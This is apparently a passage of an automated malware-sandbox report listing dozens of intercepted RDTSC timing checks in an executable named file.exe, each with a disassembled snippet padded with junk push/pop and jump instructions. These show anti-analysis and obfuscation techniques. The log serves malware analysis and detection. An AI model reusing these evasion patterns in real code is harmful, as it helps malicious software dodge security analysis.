Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 727118 second address: 727132 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F0734D2B7A6h 0x0000000a jmp 00007F0734D2B7B0h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 727289 second address: 7272D1 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F0734C6ABEEh 0x00000008 jmp 00007F0734C6ABF9h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 pushad 0x00000011 jmp 00007F0734C6ABF9h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72A9B9 second address: 72A9D4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0734D2B7AFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f push esi 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72A500 second address: 72A519 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F0734C6ABE6h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jbe 00007F0734C6ABEAh 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72A519 second address: 72A525 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F0734D2B7A6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72A525 second address: 72A54B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jnl 00007F0734C6ABE6h 0x0000000d jmp 00007F0734C6ABF9h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72D131 second address: 72D135 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72D135 second address: 72D13A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72D13A second address: 72D14D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jng 00007F0734D2B7E2h 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 pop eax 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 737B4B second address: 737B63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 jl 00007F0734C6ABE6h 0x0000000e popad 0x0000000f pop eax 0x00000010 pushad 0x00000011 push ebx 0x00000012 push edi 0x00000013 pop edi 0x00000014 pop ebx 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73666C second address: 7366A4 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007F0734D2B7B2h 0x0000000c popad 0x0000000d pushad 0x0000000e jl 00007F0734D2B7ACh 0x00000014 jp 00007F0734D2B7A6h 0x0000001a pushad 0x0000001b jng 00007F0734D2B7A6h 0x00000021 push ebx 0x00000022 pop ebx 0x00000023 push edi 0x00000024 pop edi 0x00000025 pushad 0x00000026 popad 0x00000027 popad 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73699F second address: 7369B0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0734C6ABEDh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7369B0 second address: 7369B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 736B14 second address: 736B1C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E67F6 second address: 6E6800 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F0734D2B7A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E6800 second address: 6E681D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0734C6ABF9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E681D second address: 6E6821 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E68DC second address: 6E68E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E68E0 second address: 6E68F2 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F0734D2B7A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jg 00007F0734D2B7A6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E68F2 second address: 6E6914 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F0734C6ABF7h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73B9FD second address: 73BA07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F0734D2B7A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73BA07 second address: 73BA0F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73AFD1 second address: 73AFEC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0734D2B7B7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73AFEC second address: 73B000 instructions: 0x00000000 rdtsc 0x00000002 je 00007F0734C6ABE6h 0x00000008 jnp 00007F0734C6ABE6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73B000 second address: 73B004 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73B18E second address: 73B192 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73B192 second address: 73B1BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0734D2B7B1h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F0734D2B7B0h 0x00000010 push eax 0x00000011 push edx 0x00000012 push esi 0x00000013 pop esi 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73B1BF second address: 73B1C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73B1C3 second address: 73B1E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007F0734D2B7B4h 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73B1E3 second address: 73B1F5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b pop edx 0x0000000c jnc 00007F0734C6ABE6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73B349 second address: 73B354 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73B354 second address: 73B35A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73B6D0 second address: 73B6DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 jnp 00007F0734D2B7A6h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 741ABD second address: 741ACD instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 js 00007F0734C6ABECh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 741ACD second address: 741AD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 741C3C second address: 741C42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 741C42 second address: 741C48 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 742640 second address: 74265A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F0734C6ABF1h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74265A second address: 742666 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jns 00007F0734D2B7A6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 743112 second address: 743118 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 743118 second address: 74313E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 jmp 00007F0734D2B7B6h 0x0000000b jnc 00007F0734D2B7A6h 0x00000011 pop edi 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74313E second address: 743144 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 743762 second address: 743777 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007F0734D2B7AAh 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 743777 second address: 74377B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 748156 second address: 74815C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74815C second address: 748161 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 749838 second address: 74987F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 ja 00007F0734D2B7ACh 0x0000000b popad 0x0000000c pushad 0x0000000d jmp 00007F0734D2B7ADh 0x00000012 jmp 00007F0734D2B7AFh 0x00000017 pushad 0x00000018 push eax 0x00000019 pop eax 0x0000001a jmp 00007F0734D2B7B3h 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74987F second address: 749885 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 749885 second address: 74988D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74988D second address: 74989F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F0734C6ABE6h 0x0000000a jnl 00007F0734C6ABE6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 696A4D second address: 696A57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F0734D2B7A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 696A57 second address: 696A5D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74C87D second address: 74C883 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74C9E2 second address: 74C9E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74D0DC second address: 74D0E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74D0E2 second address: 74D0E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74D230 second address: 74D234 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74D234 second address: 74D264 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F0734C6ABE6h 0x00000008 jmp 00007F0734C6ABEFh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push esi 0x00000010 pushad 0x00000011 popad 0x00000012 jmp 00007F0734C6ABF0h 0x00000017 pop esi 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7530B3 second address: 7530B9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7534E7 second address: 7534F1 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F0734C6ABE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7534F1 second address: 75350C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0734D2B7B5h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75350C second address: 753510 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 753510 second address: 753527 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0734D2B7B3h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75379D second address: 7537A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7537A5 second address: 7537AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7537AE second address: 7537B8 instructions: 0x00000000 rdtsc 0x00000002 je 00007F0734C6ABE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7537B8 second address: 7537BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7537BE second address: 7537E4 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F0734C6ABE6h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F0734C6ABF6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 753955 second address: 75395F instructions: 0x00000000 rdtsc 0x00000002 js 00007F0734D2B7A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75395F second address: 753965 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 753965 second address: 753969 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 753AC6 second address: 753AD0 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F0734C6ABF2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 753AD0 second address: 753AD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 753AD6 second address: 753B11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jmp 00007F0734C6ABF1h 0x0000000a push esi 0x0000000b pop esi 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 jmp 00007F0734C6ABEEh 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F0734C6ABEDh 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 753B11 second address: 753B15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 753E2D second address: 753E31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 753E31 second address: 753E35 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 753F88 second address: 753FA8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0734C6ABF9h 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 753FA8 second address: 753FAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7546CA second address: 754707 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0734C6ABF0h 0x00000009 jmp 00007F0734C6ABF3h 0x0000000e popad 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F0734C6ABF2h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75816B second address: 758171 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75DFCB second address: 75DFD5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75DFD5 second address: 75DFD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75DFD9 second address: 75DFFA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jbe 00007F0734C6ABE6h 0x00000010 jmp 00007F0734C6ABF1h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75DFFA second address: 75E00A instructions: 0x00000000 rdtsc 0x00000002 je 00007F0734D2B7A6h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75D970 second address: 75D97E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0734C6ABEAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75DAE4 second address: 75DB3A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0734D2B7AEh 0x00000007 push edx 0x00000008 jmp 00007F0734D2B7AAh 0x0000000d jmp 00007F0734D2B7B9h 0x00000012 pop edx 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 jne 00007F0734D2B7B5h 0x0000001d pushad 0x0000001e pushad 0x0000001f popad 0x00000020 push ebx 0x00000021 pop ebx 0x00000022 pushad 0x00000023 popad 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75DB3A second address: 75DB45 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007F0734C6ABE6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75DCC3 second address: 75DCE0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0734D2B7B5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75DCE0 second address: 75DCE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76AF0E second address: 76AF13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76AF13 second address: 76AF1F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F0734C6ABE6h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76CFE1 second address: 76CFE5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76CFE5 second address: 76D00E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F0734C6ABEEh 0x0000000d popad 0x0000000e pushad 0x0000000f pushad 0x00000010 jmp 00007F0734C6ABEEh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7754DA second address: 7754E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A2749 second address: 6A2763 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0734C6ABEDh 0x00000007 jl 00007F0734C6ABE6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push esi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A2763 second address: 6A2777 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F0734D2B7A6h 0x0000000a pop esi 0x0000000b push ecx 0x0000000c jng 00007F0734D2B7A6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77D0FA second address: 77D0FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77D0FE second address: 77D104 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77D104 second address: 77D109 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
